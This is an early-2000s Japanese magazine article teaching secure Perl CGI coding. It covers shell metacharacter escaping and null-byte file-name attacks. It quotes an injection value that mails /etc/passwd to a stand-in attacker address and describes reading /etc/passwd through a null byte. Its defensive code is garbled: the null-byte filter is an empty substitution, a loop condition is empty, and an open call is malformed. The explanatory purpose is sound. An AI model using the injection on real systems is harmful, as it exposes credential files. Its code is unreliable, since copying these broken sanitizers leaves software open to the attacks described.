【Webアプリケーションのセキュリティ　６】〜 Perlによるcgiセキュアプログラミング〜

　この「Webアプリケーションのセキュリティ」の連載では、ここまでポリシーや概念的な話が多かったが、今回は気分を変えて技術的な話をしよう。Webアプリケーションの最も簡便なソリューションとしてよく用いられる、Perlによるcgi作成時の、セキュアコーディングについ

特集特集

2002.10.17 Thu 12:00

　この「Webアプリケーションのセキュリティ」の連載では、ここまでポリシーや概念的な話が多かったが、今回は気分を変えて技術的な話をしよう。Webアプリケーションの最も簡便なソリューションとしてよく用いられる、Perlによるcgi作成時の、セキュアコーディングについて説明する。

　cgiは言うまでもなく、不特定多数のユーザからの入力を受け付ける。ユーザからの入力内容が悪意あるものである可能性は低くなく、その最も大きな脅威はサーバへの侵入や、任意のコマンド実行などである。Perlによるcgiプログラミングにおいて、この脅威に対する防御策は、ユーザ入力された内容のチェック、いわゆる「汚染チェック」が必要である。今回はユーザからの入力がどのように汚染されている（悪意ある内容になっている）可能性があるかを説明する。

　ユーザ入力されたキーワードを $user_input に格納し、これを元に、

open GREP, "/usr/bin/grep $user_input /path/to/data/file |";

というコマンドを実行したい時に、$user_inputの汚染チェックを怠っていれば、'; mail cracker@example.com < /etc/passwd;'; という値が入力されてしまうかも知れない[1]。このとき、コマンドの内容は

open GREP, "/usr/bin/grep '; mail cracker@example.com < /etc/passwd;'; /path/to/data/file |";

となってしまい、パスワードファイルが悪意ある人物にメール送信されてしまう。メタキャラクタはエスケープされなければならない。

s/([&;`'\|"*?~<>^()[]{}$])/\$1/g;

　いくつかの文字列からユーザに選択させて、その文字列を含んだファイル名のデータベースファイルを開き表示させようと、

# parse $user_input
$database="$user_input.db";
open(FILE "<$database");
while () {
print;
}

とした場合どのような危険性があるだろうか。ユーザ入力として、
/etc/passwd

という文字列が送られてきた場合、この文字列に.dbを付け加えても、ファイルをオープンするときには、ヌル文字である以降は認識されないため、/etc/passwd がopenされ、その内容が表示されてしまうことになる。この対策としては、
$user_input=~s///g;

のようにして、ヌル文字を消去しなければならない。

office
office@ukky.net
http://www.office.ac/

[1] http://www.ipa.go.jp/security/awareness/vendor/programming/a01_01_main.html

（詳しくはScan本誌をご覧ください）
http://shop.vagabond.co.jp/m-ssw01.shtml